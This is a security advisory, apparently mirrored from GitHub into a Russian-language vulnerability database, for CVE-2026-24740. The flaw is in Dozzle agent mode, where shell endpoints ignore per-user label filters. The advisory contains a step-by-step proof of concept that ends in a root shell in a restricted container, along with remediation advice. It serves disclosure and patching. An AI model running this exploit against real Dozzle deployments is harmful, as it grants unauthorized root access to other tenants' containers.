GHSA-m855-r557-5rc5

Опубликовано: 27 янв. 2026

Источник: github

Github: Прошло ревью

CVSS4: 8.7

Описание

Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access

Summary

A flaw in Dozzle’s agent-backed shell endpoints allows a user restricted by label filters (for example, label=env=dev) to obtain an interactive root shell in out‑of‑scope containers (for example, env=prod) on the same agent host by directly targeting their container IDs.

Note: Tested on v9.0.2 likely affects all versions with agent mode support.

Details

When SIMPLE auth is enabled, Dozzle supports per‑user label filters in users.yaml (for example, filter: label=env=dev) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via h.hostService.FindContainer(hostKey(r), id, userLabels) in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user’s label scope.

For agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID (agent_service.go#L27-L29):

func (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) { return a.client.FindContainer(ctx, id) }

As a result, an authenticated user configured with filter: label=env=dev and granted the shell role cannot see env=prod containers in the UI, but can still establish an interactive exec session into an env=prod container by calling /api/hosts/{hostId}/containers/{containerId}/exec (or /attach) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label‑based isolation between environments or tenants for agent-backed deployments.

Note: The underlying Docker client implementation explicitly documents that FindContainer skips filters (docker/client.go#L128-L137):

// Finds a container by id, skipping the filters func (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) { log.Debug().Str("id", id).Msg("Finding container") if json, err := d.cli.ContainerInspect(ctx, id); err == nil { return newContainerFromJSON(json, d.host.ID), nil } else { return container.Container{}, err } }

Note: For reference, we can see the correct implementation in ListContainers (agent_service.go#L43-L46):

func (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) { log.Debug().Interface("labels", labels).Msg("Listing containers from agent") return a.client.ListContainers(ctx, labels) }

PoC

# create new dir $ cd /tmp && mkdir -p /tmp/dozzle && cd /tmp/dozzle && mkdir -p data # run dozzle agent $ docker run -d --name dozzle-agent \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ -p 7007:7007 \ amir20/dozzle:latest agent # sleep $ sleep 5 # run dev container $ docker run -d --name dev-allowed --label env=dev alpine sleep 100000 # run prod container $ docker run -d --name prod-secret --label env=prod alpine sleep 100000 # check containers status $ docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Label \"env\"}}" | grep -E 'dev-allowed|prod-secret' 3731627f4e2d prod-secret prod 51e6cffce99f dev-allowed dev # get hash for pass:devpass $ HASH=$(printf 'devpass' | sha256sum | awk '{print $1}') # create dev user $ cat > /tmp/dozzle/data/users.yaml << EOF users: devuser: email: dev@example.com name: Dev User password: ${HASH} filter: "label=env=dev" roles: "shell" EOF # sanity check users $ cat /tmp/dozzle/data/users.yaml users: devuser: email: dev@example.com name: Dev User password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c filter: "label=env=dev" roles: "shell" # run main image $ docker run -d --name dozzle-main \ -v /tmp/dozzle/data:/data \ -p 8080:8080 \ -e DOZZLE_AUTH_PROVIDER=simple \ -e DOZZLE_AUTH_TTL=48h \ -e DOZZLE_ENABLE_SHELL=true \ -e "DOZZLE_REMOTE_AGENT=host.docker.internal:7007" \ amir20/dozzle:latest # sleep $ sleep 8 # get jwt token for devuser $ curl -s -X POST http://localhost:8080/api/token \ -d "username=devuser&password=devpass" \ -c /tmp/dozzle/cookies.txt # save the token $ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}') # in browser open http://localhost:8080 -> login with user:devuser pass:devpass -> grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e $ HOST_ID="cafb9ffc-ac34-47a6-985b-10ffea39610e" # get prod cid $ PROD_CID=$(docker ps --filter "name=prod-secret" --format '{{.ID}}') # sanity check $ echo $PROD_CID 3731627f4e2d # install wscat $ npm install -g wscat # open wscat with token $ wscat -c "ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec" \ -H "Cookie: jwt=${TOKEN}" Connected (press CTRL+C to quit) < / # / # > {"type":"userinput","data":"id\n"} < id < uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / # > {"type":"userinput","data":"cat /etc/hostname\n"} < cat /etc/hostname < 3731627f4e2d < / # > quit Disconnected (code: 1006, reason: "")

As configured, devuser only sees dev-allowed in the Dozzle UI (due to filter: label=env=dev), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.

Impact

This is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, env=dev) but has the Shell role can gain full interactive access (read, modify, disrupt) to containers with other labels (for example, env=prod) on the same agent host, provided they can obtain the target container ID.

Remediation

In the agent-backed FindContainer implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by ListContainers for the caller’s userLabels before returning it to exec/attach.
Add regression tests verifying that a user with filter: label=env=dev and the Shell role cannot exec or attach into env=prod containers via the agent path, even when supplying a valid container ID.
As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.

This issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download 9.0.3.

Resources

https://dozzle.dev/guide/authentication#setting-specific-filters-for-users

Ссылки

Пакеты

Наименование

github.com/amir20/dozzle

Затронутые версииВерсия исправления

< 1.29.1-0.20260125230338-620e59aa2463

1.29.1-0.20260125230338-620e59aa2463

EPSS

Процентиль: 12%

0.00041

Низкий

8.7 High

CVSS4

CVE ID

CVE-2026-24740

Дефекты

CWE-284

CWE-639

Связанные уязвимости

CVE-2026-24740

nvd

10 дней назад

Dozzle is a realtime log viewer for docker containers. Prior to version 9.0.3, a flaw in Dozzle’s agent-backed shell endpoints allows a user restricted by label filters (for example, `label=env=dev`) to obtain an interactive root shell in out‑of‑scope containers (for example, `env=prod`) on the same agent host by directly targeting their container IDs. Version 9.0.3 contains a patch for the issue.

EPSS

Процентиль: 12%

0.00041

Низкий

8.7 High

CVSS4

CVE ID

CVE-2026-24740

Дефекты

CWE-284

CWE-639